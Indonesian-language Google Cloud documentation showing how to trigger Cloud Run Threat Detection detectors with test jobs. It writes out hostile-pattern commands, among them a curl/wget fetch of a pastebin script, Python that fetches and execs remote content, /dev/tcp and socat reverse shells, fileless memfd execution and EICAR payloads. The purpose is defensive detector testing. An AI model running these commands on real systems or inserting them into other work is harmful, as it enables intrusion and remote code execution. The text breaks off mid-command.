Halaman ini menjelaskan cara memverifikasi bahwa Deteksi Ancaman Cloud Run berfungsi dengan memicu detektor secara sengaja dan memeriksa temuan. Deteksi Ancaman Cloud Run adalah layanan bawaan Security Command Center.
Sebelum memulai
Untuk mendeteksi potensi ancaman terhadap layanan dan tugas Cloud Run Anda, pastikan layanan Cloud Run Threat Detection diaktifkan di Security Command Center. Beberapa detektor dinonaktifkan secara default. Untuk menguji detektor tersebut, Anda harus mengaktifkannya terlebih dahulu.
Menetapkan variabel lingkungan
Untuk menguji detektor, gunakan konsol Google Cloud dan Cloud Shell. Anda dapat menetapkan variabel lingkungan di Cloud Shell agar lebih mudah menjalankan perintah. Anda akan menggunakan variabel ini untuk menguji semua detektor.
Buka Google Cloud console.
Pilih project yang berisi tugas Cloud Run yang ingin Anda gunakan untuk pengujian.
Klik Activate Cloud Shell.
Di Cloud Shell, tetapkan variabel lingkungan:
Tetapkan project dan region tempat Anda akan membuat tugas pengujian.
export PROJECT=PROJECT_ID export REGION=REGION
Setelah variabel lingkungan ditetapkan, Anda dapat melanjutkan mengikuti petunjuk untuk menguji detektor.
Command and Control: Alat Steganografi Terdeteksi
Untuk memicu temuan Command and Control: Steganography Tool Detected (Pratinjau), jalankan program biner dengan kapabilitas manipulasi file yang konsisten dengan alat steganografi dalam container. Contoh ini menyalin /bin/ls
dan mengganti namanya menjadi steghide.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Command and Control: Steganography Tool
Detected.
Akses Kredensial: Temukan Google Cloud Kredensial
Untuk memicu temuan Credential Access: Find Google Cloud Credentials, jalankan program biner yang dapat menelusuri isi file dalam container. Contoh ini menyalin /bin/ls, mengganti namanya menjadi grep, dan mengeksekusinya
dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Credential Access: Find Google Cloud Credentials.
Akses Kredensial: Pengintaian Kunci GPG
Untuk memicu temuan Credential Access: GPG Key Reconnaissance, jalankan alat penelusuran dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Credential Access: GPG Key Reconnaissance.
Akses Kredensial: Menelusuri Kunci Pribadi atau Sandi
Untuk memicu temuan Credential Access: Search Private Keys or Passwords, jalankan alat penelusuran dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Credential Access: Search Private Keys or
Passwords.
Penghindaran Pertahanan: Command Line File ELF Base64
Untuk memicu temuan Defense Evasion: Base64 ELF File Command Line, jalankan
base64 dengan argumen header ELF yang dienkode.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini akan membuat dua temuan Defense Evasion: Base64 ELF File Command Line.
Penghindaran Pertahanan: Skrip Python yang Dikodekan Base64 Dieksekusi
Untuk memicu temuan Defense Evasion: Base64 Encoded Python Script Executed,
jalankan echo dengan perintah Python yang dienkode.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Python Script Executed.
Penghindaran Pertahanan: Skrip Shell Berenkode Base64 Dieksekusi
Untuk memicu temuan Defense Evasion: Base64 Encoded Shell Script Executed,
jalankan echo dengan perintah shell yang dienkode.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Shell Script Executed.
Penghindaran Pertahanan: Meluncurkan Alat Compiler Kode Dalam Container
Untuk memicu temuan Defense Evasion: Launch Code Compiler Tool In Container
(Pratinjau), jalankan alat compiler.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Defense Evasion: Launch Code Compiler Tool
In Container.
Eksekusi: Menambahkan Eksekusi Biner Berbahaya yang Dieksekusi
Untuk memicu temuan Execution: Added Malicious Binary Executed, tambahkan biner berbahaya (EICAR) ke container Anda dan jalankan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Added Malicious Binary Executed.
Eksekusi: Memuat Library Berbahaya yang Ditambahkan
Untuk memicu penemuan Execution: Added Malicious Library Loaded, tambahkan
library berbahaya di container Anda dan muat. Contoh
ini memperbarui file /tmp/test_mal_lib
dengan library berbahaya simulasi, lalu memuatnya menggunakan mmap. Pemuatan library file yang ada tidak terduga karena file tidak ada dalam image container asli dan library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh threat intelligence.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Added Malicious Library Loaded.
Eksekusi: Container Escape
Untuk memicu temuan Execution: Container Escape, jalankan alat yang menyimulasikan perilaku container escape.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Container Escape.
Eksekusi: Eksekusi Tanpa File di /memfd:
Untuk memicu temuan Execution: Fileless Execution in /memfd:,
jalankan proses dari sistem file dalam memori /memfd: menggunakan Python.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command bash \
--args "-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Fileless Execution in /memfd:.
Eksekusi: Eksekusi Alat Serangan Kubernetes
Untuk memicu temuan Execution: Kubernetes Attack Tool Execution, jalankan program yang cocok dengan alat serangan yang diketahui.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Kubernetes Attack Tool Execution.
Eksekusi: Eksekusi Alat Pengintaian Lokal
Untuk memicu temuan Execution: Local Reconnaissance Tool Execution, jalankan
program yang cocok dengan alat pengintaian.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Local Reconnaissance Tool
Execution.
Eksekusi: Python Berbahaya Dieksekusi
Untuk memicu temuan Execution: Malicious Python Executed, jalankan skrip
Python yang meniru perilaku berbahaya.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE="import urllib
import base64
import os
url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/python:latest \
--task-timeout 700 \
--command bash \
--args "-c","sleep 601; python -c \"${PYTHON_CODE}\" ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Malicious Python Executed. Perhatikan bahwa pengujian ini dapat memerlukan waktu hingga 15 menit untuk menghasilkan temuan.
Eksekusi: Biner Berbahaya yang Dimodifikasi Dieksekusi
Untuk memicu temuan Execution: Modified Malicious Binary Executed, ubah biner agar cocok dengan tanda tangan berbahaya yang diketahui (EICAR).
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Modified Malicious Binary Executed.
Eksekusi: Library Berbahaya yang Dimodifikasi Dimuat
Untuk memicu temuan Execution: Modified Malicious Library Loaded, ubah file yang ada dengan library berbahaya di penampung Anda dan muat file tersebut. Contoh
ini memperbarui file /etc/issue
dengan library berbahaya simulasi, lalu memuatnya menggunakan mmap. Pemuatan library file yang ada tidak terduga karena library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh threat intelligence.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Modified Malicious Library Loaded.
Eksekusi: Netcat Remote Code Execution In Container
Untuk memicu peristiwa Execution: Netcat Remote Code Execution In Container,
jalankan netcat dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Netcat Remote Code Execution In
Container.
Eksekusi: Kemungkinan Eksekusi Perintah Arbitrer melalui CUPS (CVE-2024-47076)
Untuk memicu temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), jalankan skrip yang menyimulasikan eksploitasi.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).
Eksekusi: Kemungkinan Eksekusi Perintah Jarak Jauh Terdeteksi
Untuk memicu temuan Execution: Possible Remote Command Execution Detected
(Pratinjau), jalankan perintah yang mencoba koneksi jarak jauh.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Possible Remote Command
Execution Detected.
Eksekusi: Program Berjalan dengan Env. Proxy HTTP yang Tidak Diizinkan
Untuk memicu temuan Execution: Program Run with Disallowed HTTP Proxy Env,
jalankan program dengan variabel lingkungan proxy yang buruk.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Program Run with Disallowed
HTTP Proxy Env.
Eksekusi: Socat Reverse Shell Terdeteksi
Untuk memicu temuan Execution: Socat Reverse Shell Detected, buat
reverse shell menggunakan utilitas socat.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; apt-get update && apt-get install socat -y && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Socat Reverse Shell Detected.
Eksekusi: Objek Bersama OpenSSL Mencurigakan Dimuat
Untuk memicu temuan Execution: Suspicious OpenSSL Shared Object Loaded,
jalankan openssl dengan library yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Suspicious OpenSSL Shared Object Loaded.
Eksfiltrasi: Meluncurkan Alat Penyalinan File Jarak Jauh di Container
Untuk memicu penemuan Exfiltration: Launch Remote File Copy Tools In Container, jalankan alat salin jarak jauh.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Exfiltration: Launch Remote File Copy Tools
In Container.
Dampak: Mendeteksi Cmdline Berbahaya
Untuk memicu temuan Impact: Detect Malicious Cmdlines (Pratinjau),
jalankan nama perintah yang mencurigakan (IPFS).
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Detect Malicious Cmdlines.
Dampak: Menghapus Data Massal dari Disk
Untuk memicu temuan Impact: Remove Bulk Data From Disk, jalankan alat
seperti shred.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Remove Bulk Data From Disk.
Dampak: Aktivitas penambangan mata uang kripto yang mencurigakan menggunakan Stratum Protocol
Untuk memicu temuan Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, jalankan program biner dengan argumen yang menyerupai yang digunakan oleh software penambangan mata uang kripto yang berkomunikasi menggunakan protokol Stratum.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol.
Skrip Berbahaya Dieksekusi
Untuk memicu temuan Malicious Script Executed, jalankan skrip yang meniru
perilaku berbahaya.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Malicious Script Executed.
URL Berbahaya Teramati
Untuk memicu temuan Malicious URL Observed, jalankan program biner dan berikan URL berbahaya sebagai argumen.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini memicu temuan Malicious URL Observed.
Eskalasi Akses: Penyalahgunaan Sudo untuk Eskalasi Akses (CVE-2019-14287)
Untuk memicu temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), jalankan biner sudo dengan parameter -u#-1.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).
Eskalasi Akses: Potensi Eskalasi Akses Sudo (CVE-2021-3156)
Untuk memicu temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), jalankan program biner sudo dengan parameter -s dan parameter yang diakhiri dengan ``.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).
Eskalasi Akses: Kerentanan Eskalasi Akses Lokal Polkit (CVE-2021-4034)
Untuk memicu temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), jalankan program biner pkexec dengan variabel lingkungan GCONV_PATH yang ditetapkan sebagai pengguna non-root.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).
Reverse Shell
Untuk memicu temuan Reverse Shell, mulai program biner dengan pengalihan stdin ke soket yang terhubung ke TCP.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Reverse Shell.
Shell Turunan yang Tidak Terduga
Untuk menguji detektor Unexpected Child Shell, buat pohon proses yang menyertakan proses shell turunan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--task-timeout 700 \
